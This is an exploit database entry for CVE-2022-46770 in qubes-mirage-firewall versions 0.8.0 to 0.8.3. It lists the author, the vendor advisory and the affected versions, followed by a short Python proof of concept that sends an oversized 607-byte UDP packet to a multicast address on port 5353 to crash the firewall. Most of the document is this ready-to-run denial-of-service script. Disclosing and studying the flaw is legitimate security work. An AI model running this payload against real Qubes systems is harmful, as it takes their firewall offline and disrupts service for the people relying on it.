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## https://sploitus.com/exploit?id=1337DAY-ID-38401
# Exploit Title: qubes-mirage-firewall v0.8.3 - Denial Of Service (DoS)
# Exploit Author: Krzysztof Burghardt <[email protected]>
# Vendor Homepage: https://mirage.io/blog/MSA03
# Software Link: https://github.com/mirage/qubes-mirage-firewall/releases
# Version: >= 0.8.0 & < 0.8.4
# Tested on: Qubes OS
# CVE: CVE-2022-46770
#PoC exploit from https://github.com/mirage/qubes-mirage-firewall/issues/166
#!/usr/bin/env python3
from socket import socket, AF_INET, SOCK_DGRAM
TARGET = "239.255.255.250"
PORT = 5353
PAYLOAD = b'a' * 607
s = socket(AF_INET, SOCK_DGRAM)
s.sendto(PAYLOAD, (TARGET, PORT))